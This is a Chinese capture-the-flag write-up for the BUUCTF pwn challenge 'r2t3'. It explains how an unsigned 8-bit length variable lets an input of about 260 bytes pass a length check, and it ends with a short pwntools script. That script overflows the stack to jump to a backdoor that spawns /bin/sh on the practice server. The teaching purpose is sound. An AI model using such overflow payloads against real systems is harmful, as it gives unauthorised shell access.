[BUUCTF]PWN12——[BJDCTF 2nd]r2t3
[BUUCTF]PWN12——[BJDCTF 2nd]r2t3
题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3
步骤:
例行检查,32位,开启了NX保护
nc一下看看程序的大概执行情况
32位ida载入,shift+f12查看程序里的字符串,看到了system函数和 ‘/bin/sh’ 字符串
双击跟进,ctrl+x找到调用改字符串的函数,找到了程序里的一个后门函数,shell_addr=0x804858B
根据nc得到的提示字符串,找到输入点,第10行的read对读入的buf进行了限制,没法造成溢出
看一下name_check函数,改函数检查了我们输入的字符串的长度,长度得要在4~7之间
这边注意一下,用来表示字符串长度的参数v3,它定义的类型是unsigned_int8(无符号整型),它所能表示的数的范围是0~2^8-1(255),而我们读入的字符串buf的最大长度是0x400(1024),1024超过了v3所能表示的范围,所以 这里存在整数溢出漏洞,关于整数溢出的具体讲解–>看这里
关于strlen()这个函数,上述链接里也有提到,如果参数的长度大于了它的固定的长度,就会将前面的扔掉,留下剩下的
举个例子:a的长度为260,b也是定义的unsigned_int8,因此b=strlen(a)=260-255=5
我们就可以利用strlen函数的这一点来绕过长度的检查,根据上述,我们可以用来绕过长度检查的字符串的长度应该是255+4(259) ~ 255+7(262)
这边提一下shell_addr=0x804858B,它的长度是4字节,0x08、0x04、0x85、0x8B,从后往前,两位一字节,不足补0
在我们通过长度检查之后,13行会将我们输入的字符串赋值到dest中,看一下dest在栈上的位置
在这里看到了它在栈上的位置,它距离返回地址r=0x4-(-0x11)=0x15,因此我们在构造输入字符串的时候可以先输入0x15个a用来定位到返回地址,然后将返回地址填上shell_addr,之后补上(260-0x15-4)个长度的a来绕过长度检查
完整EXP
from pwn import*
r=remote('node3.buuoj.cn',25177)
shell_addr=0x804858B
payload='a'*0x15+p32(shell_addr)+'a'*(260-0x15-4)
r.sendline(payload)
r.interactive()
[BUUCTF]PWN12——[BJDCTF 2nd]r2t3的更多相关文章
- [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget
[BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...
- [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2
[BJDCTF 2nd]ydsneedgirlfriend2 附件 步骤: 例行检查,64位程序,开启了canary和nx 试运行一下程序,看看大概的情况,经典的堆块的布局 64位ida载入,习惯性的 ...
- [BUUCTF]PWN——[BJDCTF 2nd]secret
[BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]8086
[BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ...
- [BUUCTF]PWN——[BJDCTF 2nd]r2t4
[BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ...
- [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame
[BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ...
- [BUUCTF]PWN——[BJDCTF 2nd]test
[BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...
- [BJDCTF 2nd]fake google
[BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...
- BUUOJ [BJDCTF 2nd]elementmaster
[BJDCTF 2nd]elementmaster 进来就是这样的一个界面,然后就查看源代码 转换之后是Po.php,尝试在URL之后加上看看,出现了一个“.“ ....... 迷惑 然后看了wp 化 ...
随机推荐
- RestSharp使用说明
翻译自:https://github.com/restsharp/RestSharp/wiki,转载请注明. 一.新手入门 如果只有少量一次性请求需要封装为API,则可以如下使用RestSharp : ...
- BehaviorTree.CPP行为树BT的选择节点(四)
Fallback 该节点家族在其他框架中被称为"选择器Selector"或"优先级Priority". 他们的目的是尝试不同的策略,直到找到可行的策略. 它们具 ...
- Codeforces Round #717 (Div.2) 题解
我 AK 的第二场(?)的 Div.2,还捡了个 rk4(虽然我 div2 only 的最高记录是 rk2)祭之( A 这题我竟然 WA 了两发,丢人( 直接贪心,对于 \(i=1,2,\cdots, ...
- 【机器学习与R语言】6-线性回归
目录 1.理解回归 1)简单线性回归 2)普通最小二乘估计 3)相关系数 4)多元线性回归 2.线性回归应用示例 1)收集数据 2)探索和准备数据 3)训练数据 4)评估模型 5)提高模型性能 1.理 ...
- jQuery添加html绑定事件
jQuery添加html绑定事件 $("#xxx").on("click",".dev",function(){ });
- 什么是DDL,DML,DCL
转载自 https://www.2cto.com/database/201610/555167.html DML.DDL.DCL区别 . 总体解释: DML(data manipulation la ...
- C#筛选项联动,联动筛选
protected void Page_Load(object sender, EventArgs e) { if (!IsPostBack) { FillDep(); } // FillDG(); ...
- 全网最详细的ReentrantReadWriteLock源码剖析(万字长文)
碎碎念) 花了两天时间,终于把ReentrantReadWriteLock(读写锁)解析做完了.之前钻研过AQS(AbstractQueuedSynchronizer)的源码,弄懂读写锁也没有想象中那 ...
- 学习java 7.18
学习内容: Lambda表达式的格式:(形式参数) -> {代码块} 如果有多个参数,参数之间用逗号隔开 new Thread( () -> { System.out.pri ...
- day31 协程
day31 协程 一.死锁与递归锁 所谓死锁:是指两个或者两个以上的进程或线程在执行过程中,因争夺资源而造成的一种互相等待的现象,若无外力作用,它们都将无法推进下去.此时称系统处于死锁状态或系统产 ...